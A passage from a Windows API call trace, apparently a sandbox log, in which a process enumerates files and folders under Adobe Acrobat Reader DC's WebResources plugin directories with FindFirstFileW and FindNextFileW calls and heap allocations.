nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.656] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.657] GetProcessHeap () returned 0xc10000 [0247.657] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.657] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0247.657] GetProcessHeap () returned 0xc10000 [0247.657] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0247.657] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.657] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.658] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.658] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0247.658] GetProcessHeap () returned 0xc10000 [0247.658] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.658] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0247.658] GetProcessHeap () returned 0xc10000 [0247.658] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.659] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.659] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.659] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.659] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.659] GetProcessHeap () returned 0xc10000 [0247.659] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.659] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0247.659] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0247.660] GetProcessHeap () returned 0xc10000 [0247.660] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0247.660] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0247.660] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0247.660] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0247.660] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0247.660] GetProcessHeap () returned 0xc10000 [0247.660] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0247.661] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0247.661] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0247.661] GetProcessHeap () returned 0xc10000 [0247.661] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.663] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0247.663] GetProcessHeap () returned 0xc10000 [0247.663] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0247.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0247.880] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.880] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0247.880] GetProcessHeap () returned 0xc10000 [0247.880] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0247.883] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.883] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0247.883] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0247.883] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0247.883] GetProcessHeap () returned 0xc10000 [0247.884] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.884] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0247.884] GetProcessHeap () returned 0xc10000 [0247.884] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0247.885] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.885] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0247.885] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0247.885] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0247.886] GetProcessHeap () returned 0xc10000 [0247.886] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.886] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0247.886] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0247.886] GetProcessHeap () returned 0xc10000 [0247.886] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0247.886] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aicuc", cAlternateFileName="")) returned 1 [0247.886] GetProcessHeap () returned 0xc10000 [0247.886] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0247.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0247.890] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.890] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0247.891] GetProcessHeap () returned 0xc10000 [0247.891] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0247.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0247.892] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.892] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x18813, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0247.892] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 1 [0247.892] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x813, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin-selectors.css", cAlternateFileName="PLUGIN~1.CSS")) returned 0 [0247.892] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0247.893] GetProcessHeap () returned 0xc10000 [0247.893] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0247.893] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefd61dea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) 